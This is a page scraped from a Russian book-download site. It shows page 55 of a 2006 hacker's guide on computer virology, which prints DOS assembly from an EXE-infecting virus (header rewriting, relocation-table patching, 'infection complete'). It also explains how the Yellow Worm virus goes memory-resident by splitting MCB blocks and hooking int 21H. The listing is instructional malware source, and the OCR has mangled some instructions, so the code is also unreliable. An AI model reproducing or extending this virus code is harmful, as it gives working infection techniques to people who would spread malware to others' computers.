Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 49 50 51 52 53 54 < 55 > 56 57 58 59 60 61 .. 123 >> Следующая

PTR [DTA+1CH]; = размер файла / 16 - размер ;заголовка(Рага) mov сх,16
div сх ;dx:ax содержит размер файла /16 sub ах,WORD PTR [EXE_HDR+8]
;вычитаем размер ЕХЕ-
210
ГЛАВА 5. Инфекция ЕХЕ-файлов
заголовка (в параграфах)
mpv WORD PTR [EXE_HDR+22],ax сохраняем как
первоначальный cs
mov WORD PTR [EXE_HDR+14],ax {сохраняем как
{первоначальный ss
mov WORD PTR [EXE_HDR+20],OFFSET VIRUS {сохраняем
{первоначальный ip
mov WORD PTR [EXE_HDR+16],OFFSET FINAL + STACKSIZE ;
{сохраняем первоначальный sp
mov dx,WORD PTR [DTA+1CH] {расчет нового размера
{файла для {заголовка
mov ax.WORD PTR [DTA+1 АН] {получить оригинальный размер
add ах,OFFSET FINAL + 200Н {добавить размер
{вируса + 1 параграф, 512
байтов
adc dx,0
mov сх,200Н ;делим на размер параграфа
div сх ;ах=параграфы, бх=размер последнего параграфа
mov WORD PTR [EXE_HDR+4],ax {сохраняем параграфы здесь
mov WORD PTR [EXE_HDR+2],dx {размер последнего
{параграфа здесь
add WORD PTR [EXE_HDR+6],NUMRELS {подстраиваем счетчик
{перемещений
mov сх.ЮН {сохраняем 1СН байтов заголовка mov dx,OFFSET EXEJHDR ;в начало
файла mov ah,40H
int 21H {модифицируем таблицу перемещений
mov ax.WORD PTR [EXE_HDR+6] {получаем число перемещений
;в таблице
dec ах {чтобы рассчитать локацию, где будут dec ах {добавлены перемещения
911
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
-J - - - - - - -
mov сх,4 ;локация=(номер в таблице-2)*4+офсет таблицы mul сх
add ax.WORD PTR [EXE_HDR+24] ;офсет таблицы adc dx.0 mov cx,dx mov dx.ax
mov ax,4200H устанавливаем указатель файла в ;конец таблицы
int 21Н
mov WORD PTR [EXE_HDR],OFFSET HOSTS ; используем EXEJHDR как буфер
mov ax.WORD PTR [EXE_HDR+22]
устанавливаем 2 указателя на файл
mov WORD PTR [EXE_HDR+2],ax
; 1 -й указатель на ss в HOSTS
mov WORD PTR [EXEHDR+4], OFFSET HOSTC+2
mov WORD PTR [EXE_HDR+6],ax ;2-й на cs в HOSTC
mov cx,8 ;OK, пишем 8 байтов данных
mov dx,OFFSET EXE_HDR
mov ah,40H ;DOS-функция записи
int 21H
mov ah,3EH ;закрываем файл
int 21H
ret ; инфекция завершена!
FINAL: ;метка конца вируса
VSEG ENDS
END VIRUS ;Точка входа = вирус
212
ГЛАВА 5. Инфекция ЕХЕ-файлов
Улучшенные методы для резидентов памяти
Пока мы изучали добрых "зверушек*. Пора приступать к настоящим монстрам.
Вирус Yellow Worm комбинирует приемы для заражения ЕХЕ-файлов с
резидентурой в памяти. Он сможет заразить большую часть файлов вашего
компьютера за 30-40 минут. Другими словами, будьте осторожны, иначе в
вашей машине поселится непрошенный гость.
Манипулируя МСВ, вирус может инсталлировать себя в память дюжиной разных
способов. Если это будет сделано правильно, DOS признает эти манипуляции.
А если структура МСВ окажется нарушена, DOS повиснет с сообщением:
"Memory Allocation Error, Cannot load COMMAND.COM, System Halted - Ошибка
в назначении памяти, не могу загрузить COMMAND.COM, система остановлена*.
Yellow Worm использует простой и эффективный метод манипуляции МСВ. Он
становится резидентом памяти тихо и незаметно. Вирус делит Z-блок на М- и
Z-блоки. Он захватывает Z-блок и отдает новый М-блок первоначальному
владельцу Z-блока.
Зараженная жертва Вирус загружается
загружается в память а верхнюю память
Сво- вирус j | Z-блок

бод- Сво-
ная бод-
память Z-блок ная М-блок
память
Вирус
Жертва Жертва
DOS DOS
Рис. 12. Действие вируса Yellow Worm
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Обычно Z-блок достаточно большой, и Yellow Worm (Желтый червь) отщипывает
от него небольшой кусок - около 48 параграфов. Остальная часть отдается
другим программам. Перед тем, как захватить Z-блок, вирус проверяет,
можно ли использовать его, не вызывая проблем.
Возможны два варианта:
а) когда Z-блок контролируется программой, частью которой стал Yellow
Worm (то есть владельцем является текущий PSP),
или б) когда Z-блок свободен (владелец - 0).
Если какая-то программа контролирует Z-блок (очень редкое событие), наш
вежливый и воспитанный Yellow Worm не пытается стать резидентом. Но как
только вирус создает себе местечко в памяти, он копирует себя в Z-блок,
используя сегмент МСВ + 1 в качестве операционного сегмента. Поскольку
вирус начинает выполняться в офсете 0 из жертвы, он может вставить себя в
тот же офсет в новом сегменте. Тем самым он избегает перемещения офсетов.
В конечном счете Yellow Worm инсталлирует перехватчик прерывания для int
21Н, который активирует копию в Z-МСВ. Это оживляет новый вирус. Затем
копия Yellow Worm, находящаяся в памяти, возвращает контроль жертве.
Возвращение контроля жертве
YeUow Worm возвращает контроль почти так же, как это делал Intruder-B. Он
восстанавливает стек и затем прыгает к первоначальной паре cs:ip
программы-жертвы.
cli
mov ss,cs:[HOSTS] восстанавливаем стек жертвы
mov sp,cs:[HOSTS+2]
sti
jmp DWORD PTR cs: [HOSTC] ; прыгаем к жертве
Yellow Worm отличается от Intruder-В тем, что использует другой метод для
перемещения переменных сегмента стека и кода для жертвы. Как вы помните,
Intruder-B позволял DOS перемещать
Предыдущая << 1 .. 49 50 51 52 53 54 < 55 > 56 57 58 59 60 61 .. 123 >> Следующая